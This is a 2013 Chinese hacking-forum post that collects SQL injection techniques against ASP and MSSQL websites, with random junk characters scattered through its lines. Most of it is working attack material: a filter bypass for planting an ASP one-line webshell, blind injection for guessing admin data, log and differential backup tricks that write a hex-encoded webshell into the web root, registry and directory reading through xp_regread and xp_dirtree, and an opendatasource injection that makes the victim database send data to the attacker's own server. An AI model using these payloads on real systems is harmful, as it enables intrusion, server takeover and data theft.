中国网络渗透测试联盟

标题: SQL 注入经典操作整理与收集 [打印本页]

作者: admin    时间: 2013-2-27 21:49
标题: SQL 注入经典操作整理与收集
# v  G6 J. K: j' A
突破〈%%〉标记过滤
7 W( e& m0 q/ t- ]很多时候我们可以通过在注册表单或者用户信息修改表单中,插入简短的ASP代码,使网站ASP数据库变成为一个ASP木马,然后进一步入侵控制服务器。不过在上传代码过程中,许多网页程序都不允许包含〈%%〉标记符号的内容的文件上传。9 u$ a4 t0 q* z, B$ W
这样就有好多SHELL不能上传上去了。可以采用下面的方法解决。以蓝屏最小ASP木马为例。
. _& T( X+ M  x$ S: }% H原来的程序代码是“〈%execute request("l")%>", 我们可以把它的标签换下来,改成"<scriptlanguage=VBScript runat=server>execute request("l")</Script>".这样就避开了使用〈%%〉,保存为.ASP,程序照样执行。效果是一样的4 U. ?8 x+ Q" c. }5 a
新or注入方法3 ?* b' @4 `3 Y. o" n* r

% d& u% [4 U- Y7 q. U9 Q. X* t1 vvpro.asp?id=1 or exists(select * from n0h4ck)5 ^+ E6 X- J! H) I; Q/ X6 u
说明不存在n0h4ck这个表。
+ P) F4 e; Q, D* f/ H* _vpro.asp?id=1 or exists(select admin from admin)
( B" p8 z& _. q3 c6 ?- \返回or 1=1的页面,说明admin表存在admin字段。
2 M; \7 i3 M" K% j0 O- u5 Hvpro.asp?id=1 or exists(select padd from admin)3 B7 D, `/ p% B/ Z& k# R) l
返回or 1=2的页面,说明admin表不存在padd字段。
7 Z) i- e' j% v: G我们现在开始猜测数据了,) u3 y2 s9 J& e' }" V
Copy code
6 R" l% Q) }4 D: a) E: c6 `vpro.asp?id=1 or (select mid(admin,1,1) from admin)='n') R4 m$ K! {/ B7 A
返回or 1=2的页面,说明admin表admin字段的第一个数据的第一个字符不是"n"。
1 o3 u* q( _% \+ D% _' b. q* U# ?2 [opy code
" }. o4 I9 C' {+ @" w4 h. ~vpro.asp?id=1 or (select mid(admin,1,1) from admin)='a'4 u8 b- A! n) t0 l3 ^
返回or 1=1的页面,说明说明admin表admin字段的第一个数据的第一个字符是"a",我们第一个会想到什么呢?当然是"admin"啦。1 i0 g% T/ ~+ m+ F/ w' J
我们用left函数确定一下,4 D7 h8 w8 ^# O9 l7 Q# e( O$ {# K- |
Copy code
' N. R7 P" z1 R5 n! K$ B( t% u% {vpro.asp?id=1 or (select left(admin,5) from admin)='admin', J. p* B; c' C% S" I
猜测正确,的确是admin,好了,后面的话就不用我说了吧!, [% d) S$ M; k9 {3 _, q' ]6 e
一句话差异备份的牛X利用分析# l+ p$ P/ U2 R

: R! @0 J9 W; b. w<%eval(request("a")):response.end%> 备分专用一句话( {% y3 P6 w5 E! \% |
加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.' W  o9 ~& Y5 j! h* q* |) s
3 o. D- Y3 r9 K& z4 B, ^
日志备分WEBSHELL标准的七步:
8 J6 d# w. P7 g3 k7 L/ D9 }  z* j+ c; f
1.InjectionURL';alter database XXX set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)# R6 R$ l8 l, y4 g1 {" A

* W7 C" x4 z  E6 v2.InjectionURL';create table cmd (a image)-- (新建立一个cmd表)1 N  [0 f; |- ]: q
* X9 R7 Y" n" B0 x. T1 _5 I% K
3.InjectionURL';backup log XXX to disk = 'c:\cmd' with init-- (减少备分数据的大小)3 y# @, w3 P$ K1 ]

- O8 }) q/ M6 E, b4.InjectionURL';insert into cmd (a) values ('<%%25eval(request("a")):response.end%%25>')-- (插入一句话木马)
( Q0 H3 L; C4 O, M3 y0 e' T; K* h8 t; ~+ b: b
5.InjectionURL';backup log XXX to disk = 'd:\chinakm\test.asp'-- (备分日志到WEB路径)* Z/ R$ S0 E& k' }* i9 N  k

" I6 H& r) q+ S7 ~* l8 z$ z6.InjectionURL';drop table cmd-- (删除新建的cmd表)
) H2 s. E5 p5 F+ ]- p. c8 k* ?+ i* Y# \5 Z
7.InjectionURL';alter database XXX set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)6 b8 T3 n; C, `0 R% T

7 F& A8 c' k2 r1 y  e注:InjectionURL是注入点,XXX是数据库名称.7 g  V9 t' H7 f( c
& Z3 U& j5 r, p. x7 I5 m1 K- g( t7 V0 s
附上DB_ONER权限HACK的其他技巧,希望对菜菜有所帮助,高手略过.9 {' R5 e2 E) Y# s$ \" }, h5 D
5 n. b0 d4 r$ z0 m3 t
数据库差异备份代码:9 P) s3 ^! o7 J' @0 s, J

; q; D. {' T2 V, E6 E$ q6 X9 M1、create table [dbo].[jm_tmp] ([cmd] [image])-- 创建一个表6 d- o0 s& G  J9 o# u# y  F

& p% J6 T4 V( Q7 @* {# U3 G2 t2、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --备份数据库,@s为备份名称(jmdcw的16进制转换)
, G7 `' A2 G+ G/ I  @( L: y& p* I$ L9 Q9 S# B
3、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--将一句话木马 "<%execute(request("l"))%>"的16进制字符插入到表中: j5 c1 ~+ X  O7 S

; i% F8 l* R4 H$ k  s5 g/ _4、declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s='C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\hsqq.asp' backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份,备份的保存路径暂定为C盘目录,文件名为hsqq.asp。2 I: n- o% X9 i& V' x
" t+ \' Z& H1 Y( E
5、drop table [jm_tmp]-- 删除此表。" g( D! U. ^: z5 u1 @" v" \

; F( w5 l$ i9 V# S3 c) Y7 d  {) v网站物理路径读取代码:* L: u7 R6 B1 I. j1 c5 G
' T0 U* W9 z" p2 M( b
1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表% B1 G5 ~( \! R8 F4 b7 [

" @/ c7 V4 i6 \* Z. h1 c2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'-- 将网站目录插到表字段中" Z1 K! y- L! a6 \$ E7 a$ B6 l
3 m) v) _! }: s7 w( z
3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段
1 Z( N( e9 }% t  h9 a; t
5 n( {4 }/ J) S* l6 a# E+ m4、drop table [jm_tmp]-- 删除此表。3 ]8 L' h& T  o1 Z/ s7 g: I$ H
$ F' Z8 n. C4 F( H6 c8 Z7 ^
磁盘目录读取代码:
6 _3 [. N1 N5 z9 T7 M! h7 J7 u
3 u  i* Z* ]/ }. g9 v4 ]7 M1、drop table [jm_tmp];create table [jm_tmp](subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)-- 创建表
* V& b! t$ |5 {5 h% K  t; n8 ?; \$ t
2、delete [jm_tmp];insert [jm_tmp] exec master..xp_dirtree 'C:\',1,1-- 将C盘的文件夹及文件插入到表中8 ^, B5 p4 g( R& m8 h' `

. P$ ~  t3 ~( q: b5 W$ w" u0 d9 J5 \( d3、 and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 1 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第一个文件夹名称* ~, a: K& J. j" Q- w9 j! C

$ R7 v5 N" a' G: L+ @/ e- s4、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 2 [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第二个文件夹名称: K& x3 X" Y# x& I  U2 Q
9 i- _* S$ ~1 {1 z: f( z
5、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top X [subdirectory],[file] From [jm_tmp] orDER BY [file],[subdirectory]) T orDER BY [file] desc,[subdirectory] desc) '//暴出第X个文件夹或文件名称
  ~4 g: N$ h6 O3 L2 V, M% ^' ^+ ~8 |# w/ Z$ Y
6、drop table [jm_tmp]--删除此表# D, Z/ L" Y' b5 j8 [2 s3 G" Q

& _. g1 K2 T$ L网站物理路径读取代码:
$ g- S5 N5 u; N# I7 y/ A8 L$ |. D2 [, E
1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表
* r. w% P' M3 }: V, r4 O$ p" E6 N1 I$ ?
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'-- 将网站目录插到表字段中6 }' k$ z" P9 J. ~* X( V& p

8 Y3 [3 M9 x0 G4 L5 L# X3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段
$ b; y. F0 A& B+ x7 J( Z/ f( d* w) ?/ X' |
4、drop table [jm_tmp]-- 删除此表。
& [0 n, E; I8 v* q  [, p1 g1 X! D& F: ^$ t
注射过程中DB_ONER权限并且主机与数据库不在一起的搞法$ H$ G) A2 c3 ~# U

8 a% w9 L8 Y, \% V# S3 s+ ~其实.即使数据库和WEB不在一块还是有机会搞的.并不是说一点机会没.一般服务器装好系统什么的.都会装个IIS吧?列他C盘.看看有没有Inetpub 这个目录.就知道他有没有装IIS了.但是.不知道他IP也?怎么办呢?可以这样来,PING一下WEB服务器.扫他这一C段的1433端口.看看哪台开了.不过这方法也不好.现在很多主机都启用了防火墙.1433端口就算开了你也扫不着.这该怎么办呢?可以利用opendatasource宏让对方的 SQL与自己的数据库建立连接.既然能建立连接.就可以得到数据库服务器的IP地址了.我们来试试看.有几个前提得说一下.第一.你机器必须要有公网 IP.而且开放的1433端口要保证能被外网访问到.好.条件满足.就开始做吧!. c4 N  o- W8 A. A

0 Z/ `3 ^. F* {: T" Y我现在搞的这站.100%数据和WEB不在一块.但是从C盘看到了Inetpub文件夹.说明这数据库服务器安装了IIS.但是得不到他IP呀.怎么搞哦.简单.就用上面所说的方法搞一下.先在本机建个库先.打开查询分析器输入
; R9 e  f( \- v+ O! {1 E' l# ccreate database hack520 create TABLE zhu(name nvarchar(256) null);create TABLE J8(id int NULL,name nvarchar(256) null); 点执行.
- u4 I0 m" H! d' a( S* R" B: E) y( i, x, F! g' o; i/ q3 u8 A
建立了一个hack520的库名.和zhu J8两个表.zhu里面有name这一个字段.J8也放了两字段名.一个是id一个是name.好了.现在就可以开始建立连接了~~~~~~~先看一下这条SQL语句insert into opendatasource('sqloledb','server=你的IP;uid=SQL用户;pwd=SQL密码;database=建立的库名') .库名.表名 '执行的语句' 恩现在开始吧...3 a5 H0 T/ h* X+ n
4 x2 V* S, f- J6 T6 N/ ]/ D$ k
http://www.xxx.com/news.as... ... asource('sqloledb','server=219.149.xx.182;uid=sa;pwd=hack520!@#77169;database=hack520').hack520.dbo.zhu%20select%20name%20from%20master.dbo.sysdatabases--
) B" T9 b6 Z) n& ?# Y. ]' d! M; Z3 O1 }5 k
在IE上执行咯.呵呵这个时候对方就会连接到我机器的SQL服务器.不信?netstat -an看一下
: y8 ?3 J* D( n: F- {
+ M9 ~; p# h" A: O3 t' w) J在CMD下输入命令:1 i  j" i3 D+ z% I+ E' I
netstat -an | find "1433"




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2